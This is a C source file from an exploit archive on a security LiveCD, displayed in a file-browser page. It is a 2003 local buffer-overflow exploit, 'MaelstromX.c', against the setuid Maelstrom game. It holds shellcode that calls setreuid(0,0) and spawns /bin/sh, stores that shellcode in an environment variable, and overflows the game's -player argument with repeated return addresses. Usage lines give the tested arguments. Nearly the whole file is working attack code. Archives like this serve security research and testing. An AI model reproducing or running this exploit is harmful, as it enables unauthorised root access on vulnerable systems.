home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / maelstrom / MaelstromX.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  61 lines

  1. /*
  2.  * ==================================================
  3.  * MaelstromX.c /usr/bin/Maelstrom local exploit
  4.  * By: Knight420
  5.  * 05/20/03
  6.  *
  7.  * Gr33tz to: sorbo, sonyy, sloth, and all of #open
  8.  *
  9.  *  -player or -server works
  10.  * ( ./MaelstromX 100 3 ) works on slackware 8.1
  11.  *
  12.  * (C) COPYRIGHT Blue Ballz , 2003
  13.  * all rights reserved
  14.  * =================================================
  15.  *
  16.  */
  17.  
  18. #include <stdio.h>
  19.  
  20. #define STACK_START 0xC0000000
  21. #define SWITCH "-player"
  22.  
  23. char shellcode[] =
  24.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  25.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  26.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  27.         "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
  28.         "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
  29.         "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  30.         "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
  31.  
  32. int main(int argc, char *argv[]) {
  33.         char buff[8200];
  34.         char buff2[8200];
  35.         int *ptr;
  36.         int ret;
  37.         char *arg[] = { "Maelstrom",SWITCH,buff,NULL } ;
  38.         char *env[] = { buff2, NULL };
  39.  
  40.         if(argc < 2) {
  41.           printf ("Maelstrom Local Exploit by: Knight420\n");  
  42.               printf("Usage: %s <ret> <align>\n",argv[0]);
  43.                 exit(0);
  44.         }
  45.  
  46.         ret = STACK_START - atoi(argv[1]);
  47.       memset(buff,'A',100);
  48.         for(ptr = (int*)&buff[atoi(argv[2])]; ptr < (int*)&buff[8200]; ptr++)
  49.                 *ptr = ret;
  50.         buff[sizeof(buff)-1] = 0;
  51.         memcpy(buff,"1@",2);
  52.  
  53.         snprintf(buff2,sizeof(buff2),"SHELL=%s",shellcode);
  54.       printf ("Maelstrom Local Exploit by: Knight420\n");
  55.         printf ("Return Addr: %p\n",ret);
  56.         printf ("Spawning sh3ll\n");
  57.         execve("/usr/local/bin/Maelstrom",arg,env);
  58. }
  59.  
  60.  
  61.